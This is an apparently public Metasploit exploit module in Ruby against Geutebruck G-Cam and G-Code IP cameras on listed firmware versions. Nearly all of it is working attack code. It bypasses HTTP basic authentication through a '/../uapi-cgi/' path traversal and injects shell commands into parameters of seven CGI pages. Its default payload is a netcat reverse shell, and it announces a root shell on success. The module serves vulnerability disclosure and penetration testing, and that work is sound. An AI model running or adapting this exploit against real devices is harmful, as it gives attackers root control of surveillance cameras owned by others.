##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Geutebruck Multiple Remote Command Execution',
        'Description' => %q{
          This module bypasses the HTTP basic authentication used to access the /uapi-cgi/ folder
          and exploits multiple authenticated arbitrary command execution vulnerabilities within
          the parameters of various pages on Geutebruck G-Cam EEC-2xxx and G-Code EBC-21xx,
          EFD-22xx, ETHC-22xx, and EWPC-22xx devices running firmware versions <= 1.12.0.27 as
          well as firmware versions 1.12.13.2 and 1.12.14.5. Successful exploitation results in
          remote code execution as the root user.
        },

        'Author' => [
          'Titouan Lazard', # Of RandoriSec - Discovery
          'Ibrahim Ayadhi', # Of RandoriSec - Discovery and Metasploit Module
          'Sébastien Charbonnier' # Of RandoriSec - Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2021-33543'],
          ['CVE', '2021-33544'],
          ['CVE', '2021-33548'],
          ['CVE', '2021-33550'],
          ['CVE', '2021-33551'],
          ['CVE', '2021-33552'],
          ['CVE', '2021-33553'],
          ['CVE', '2021-33554'],
          [ 'URL', 'https://geutebruck.com' ],
          [ 'URL', 'https://www.randorisec.fr/udp-technology-ip-camera-vulnerabilities/'],
          [ 'URL', 'https://us-cert.cisa.gov/ics/advisories/icsa-21-208-03']
        ],
        'DisclosureDate' => '2021-07-08',
        'Privileged' => true,
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            'CVE-2021-33544 - certmngr.cgi', {
              'http_method' => 'GET',
              'http_vars' => {
                'action' => 'createselfcert',
                'local' => Rex::Text.rand_text_alphanumeric(10..16),
                'country' => Rex::Text.rand_text_alphanumeric(2),
                'state' => '$(PLACEHOLDER_CMD)',
                'organization' => Rex::Text.rand_text_alphanumeric(10..16),
                'organizationunit' => Rex::Text.rand_text_alphanumeric(10..16),
                'commonname' => Rex::Text.rand_text_alphanumeric(10..16),
                'days' => Rex::Text.rand_text_numeric(2..4),
                'type' => Rex::Text.rand_text_numeric(2..4)
              },
              'uri' => '/../uapi-cgi/certmngr.cgi'
            }
          ],
          [
            'CVE-2021-33548 - factory.cgi', {
              'http_method' => 'GET',
              'http_vars' => { 'preserve' => '$(PLACEHOLDER_CMD)' },
              'uri' => '/../uapi-cgi/factory.cgi'
            }
          ],
          [
            'CVE-2021-33550 - language.cgi', {
              'http_method' => 'GET',
              'http_vars' => { 'date' => '$(PLACEHOLDER_CMD)' },
              'uri' => '/../uapi-cgi/language.cgi'
            }
          ],
          [
            'CVE-2021-33551 - oem.cgi', {
              'http_method' => 'GET',
              'http_vars' => {
                'action' => 'set',
                'enable' => 'yes',
                'environment.lang' => '$(PLACEHOLDER_CMD)'
              },
              'uri' => '/../uapi-cgi/oem.cgi'
            }
          ],
          [
            'CVE-2021-33552 - simple_reclistjs.cgi', {
              'http_method' => 'GET',
              'http_vars' => {
                'action' => 'get',
                'timekey' => Rex::Text.rand_text_numeric(2..4),
                'date' => '$(PLACEHOLDER_CMD)'
              },
              'uri' => '/../uapi-cgi/simple_reclistjs.cgi'
            }
          ],
          [
            'CVE-2021-33553 - testcmd.cgi', {
              'http_method' => 'GET',
              'http_vars' => { 'command' => 'PLACEHOLDER_CMD' },
              'uri' => '/../uapi-cgi/testcmd.cgi'
            }
          ],
          [
            'CVE-2021-33554 - tmpapp.cgi', {
              'http_method' => 'GET',
              'http_vars' => { 'appfile.filename' => '$(PLACEHOLDER_CMD)' },
              'uri' => '/../uapi-cgi/tmpapp.cgi'
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'PAYLOAD' => 'cmd/unix/reverse_netcat_gaping'
        },
        'Notes' => {
          'Stability' => ['CRASH_SAFE'],
          'Reliability' => ['REPEATABLE_SESSION'],
          'SideEffects' => ['ARTIFACTS_ON_DISK']
        }
      )
    )
  end

  def firmware
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => '/brand.xml'
    )
    unless res
      print_error('Connection failed!')
      return false
    end

    unless res&.body && !res.body.empty?
      print_error('Empty body in the response!')
      return false
    end

    res_xml = res.get_xml_document
    if res_xml.at('//firmware').nil?
      print_error('Target did not respond with a XML document containing the "firmware" element!')
      return false
    end
    raw_text = res_xml.at('//firmware').text
    if raw_text && raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)
      raw_text.match(/\d\.\d{1,3}\.\d{1,3}\.\d{1,3}/)[0]
    else
      print_error('Target responded with a XML document containing the "firmware" element but its not a valid version string!')
      false
    end
  end

  def check
    version = firmware
    if version == false
      return CheckCode::Unknown('Target did not respond with a valid XML response that we could retrieve the version from!')
    end

    rex_version = Rex::Version.new(version)
    vprint_status("Found Geutebruck version #{rex_version}")
    if rex_version <= Rex::Version.new('1.12.0.27') || rex_version == Rex::Version.new('1.12.13.2') || rex_version == Rex::Version.new('1.12.14.5')
      return CheckCode::Appears
    end

    CheckCode::Safe
  end

  def exploit
    print_status("#{rhost}:#{rport} - Setting up request...")

    method = target['http_method']
    if method == 'GET'
      http_method_vars = 'vars_get'
    else
      http_method_vars = 'vars_post'
    end

    http_vars = target['http_vars']
    http_vars.each do |(k, v)|
      if v.include? 'PLACEHOLDER_CMD'
        http_vars[k]['PLACEHOLDER_CMD'] = payload.encoded
      end
    end

    print_status("Sending CMD injection request to #{rhost}:#{rport}")
    send_request_cgi(
      {
        'method' => method,
        'uri' => target['uri'],
        http_method_vars => http_vars
      }
    )
    print_status('Exploit complete, you should get a shell as the root user!')
  end
end